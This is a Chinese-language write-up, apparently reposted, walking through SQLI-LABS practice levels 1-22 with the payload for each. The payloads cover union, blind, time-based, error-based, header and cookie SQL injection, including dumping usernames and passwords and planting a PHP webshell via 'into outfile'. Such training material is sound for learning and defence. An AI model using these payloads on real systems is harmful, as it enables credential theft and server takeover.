SQLI-LABS 靶场通关小记(1~22)

Posted 曹振国cc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLI-LABS 靶场通关小记(1~22)相关的知识,希望对你有一定的参考价值。

1~22


Less-1:

通过在id后面加反斜杠\\发现是单引号闭合

1.查询字段数
有3个字段
?id=1' and 1=1 order by 3 -- qwe	//正常
?id=1' and 1=1 order by 4 -- qwe  //报错

2.查询输出点
?id=1' and 1=2 union select 1,2,3 -- qwe

3.查询库名
?id=1' and 1=2 union select 1,database(),3 -- qwe					//库名是security

4.查询表名
有emails,referers,uagents,users表

?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe

5.查询字段名
查询users表:
有字段:id,username,password
?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe

6.查询数据
?id=1' and 1=2 union select 1,username,3 from users limit 0,1 -- qwe

?id=1' and 1=2 union select 1,group_concat(id,0x3a,username,0x3a,password,0x3c,0x68,0x72,0x2F,0x3E),3 from users limit 0,1 -- qwe
0x3a	:
0x3c	<
0x68	h
0x72	r
0x2F	/
0x3E	>

Less-2:

在id后加反斜杠\\发现并不用闭合可以直接查询

1.查询输出点
?id=1 and 1=2 union select 1,2,3 -- qwe

Less-3:

在id后加反斜杠\\发现是单引号括号')闭合

1.查询输出点
?id=1') and 1=2 union select 1,2,3 -- qwe

Less-4:

在id后加入反斜杠\\,发现是双引号括号")闭合

1.查询输出点
?id=1") and 1=2 union select 1,2,3 -- qwe

Less -5:

使用反斜杠\\猜测应该需要单引号'闭合

1.使用left()函数进行截取测试
?id=1' and left(version(),1)=3%23				//截取version()最左侧得到的值是否为3,如果为3返回you are in...
?id=1' and left(version(),1)=5%23				//you are in... 

2.使用length判断长度
库名长度是8
?id=1' and length(database())=8%23

3.利用ascii码猜测数据库名
?id=1' and ascii(substr(database(),1,1))=115%23						//115对应的是s

利用Burp跑出数据库名

1				115			s
2				101			e
3				99			c
4				117			u
5				114			r
6				105			i
7				116			t
8				121			y
库名:security

4.使用二分法进行盲注查表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1%23				//you are in ...
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23			//表名的首字母ascii码是101	e

Less-6:

在id后加入反斜杠\\发现这个应该是双引号"闭合

1.使用length判断长度
?id=1" and ascii(substr(database(),1,1))=115%23					//库名的首字母对应的ascii码是115是s

Less-7:

打开题目感觉应该要使用outfile写入一句话木马

1.查看源码

要使用'))闭合

2.写入一句话木马连接蚁剑
?id=1'))union select 1,2,"<?php @eval($REQUEST['HACK']);?>" into outfile "/var/www/html/webshell.php" -- qwe

Less-8:

使用单引号闭合

1.使用length判断长度
?id=1' and ascii(substr(database(),1,1))=115 -- qwe					//正常,库名首字母ascii码115所对应的字母是s	

Less-9:

同第8题也可以使用时间盲注

1.使用sleep()函数进行时间盲注
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(10),1) -- qwe

使用bp测试跑包

115很突出,说明库名首字母的ascii码是115所对应的字符是s

Less-10:

通过查看源码知道这是需要双引号闭合的盲注题

payload:?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- qwe

Less -11

在登录框输入反斜杠\\发现应该是单引号'闭合

1.显错注入,查询字段数
'or 1=1 order by 3 -- qwe						//报错
'or 1=1 order by 2 -- qwe						//正常

2.查询输出点
'or 1=2 union select 1,2 -- qwe

3.查询库名
'or 1=2 union select 1,database() -- qwe

Less-12:

双引号括号")闭合

1.查询库名
")or 1=2 union select 1,database() -- qwe

Less-13:

利用反斜杠\\得知应该是单引号括号')闭合

1.尝试查询库名

并没有输出

')or1=2 union select 1,database() -- qwe

2.使用盲注
1') or ascii(substr((database()),1,1))>100 -- qwe	
1') or ascii(substr((database()),1,1))>114 -- qwe
1') or ascii(substr((database()),1,1))=115 -- qwe				首字母所对应ascii码是115

Less-14:

双引号闭合,同13题

Less-15:

通过测试是单引号闭合,布尔盲注同13题

'or left(database(),1)='s'#			//正常,首字母是s

Less-16:

双引号括号")闭合,其余操作同13题

Less-17:

单引号闭合,当我们输入单引号时会出现报错信息

1.尝试使用updatexml输出库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- qwe

2.输出表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- qwe

3.输出字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- qwe

4.输出数据
'and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1) -- qwe

Less-18:

发现正常登录它会输出user-agent头里的内容

1.在后面加入单引号查看报错

2.利用updatexml查看数据库名称
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)or '1=1 -- qwe

2.利用extractvalue查看数据库名称
'and extractvalue(1,concat(0x7e,database()))or '1=1 -- qwe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Chrt7taz-1626201897312)(C:/Users/000/AppData/Roaming/Typora/typora-user-images/image-20210714020353822.png)]

Less-19:

1.源码分析:
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
和18题的区别是把$uagent的值变成了HTTP_REFERER ,所以存在注入

2.加入单引号测试是否存在注入

3.报错注入
'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1=1 

Less-20:

登录后发现会记录cookie

1.抓取cookie

2.加入单引号查看是否会返回报错信息

3.使用updatexml报错注入获取数据库名称
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

Less-21:

登录后发现这道题将cookie进行了base64的加密

1.抓取cookie

2.使用反斜杠爆出闭合方式

单引号闭合

3.将报错语句进行Base64加密
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

4.查询库名

Less-22:

登录后发现依旧是对cookie做了base64的加密

1.加反斜杠爆出闭合方式

双引号闭合

2.对报错语句进行Base64加密
"and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

3.查询库名

语句进行Base64加密

'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

以上是关于SQLI-LABS 靶场通关小记(1~22)的主要内容,如果未能解决你的问题,请参考以下文章

SQLI-LABS 靶场通过小记(39~53)

SQLI-LABS 靶场通过小记(39~53)

SQLI-LABS 靶场通过小记(39~53)

SQL注入从入门到进阶:sqli-labs靶场通关笔记

SQLI-LABS 靶场通过小记(54~65)

SQLI-LABS 靶场通过小记(54~65)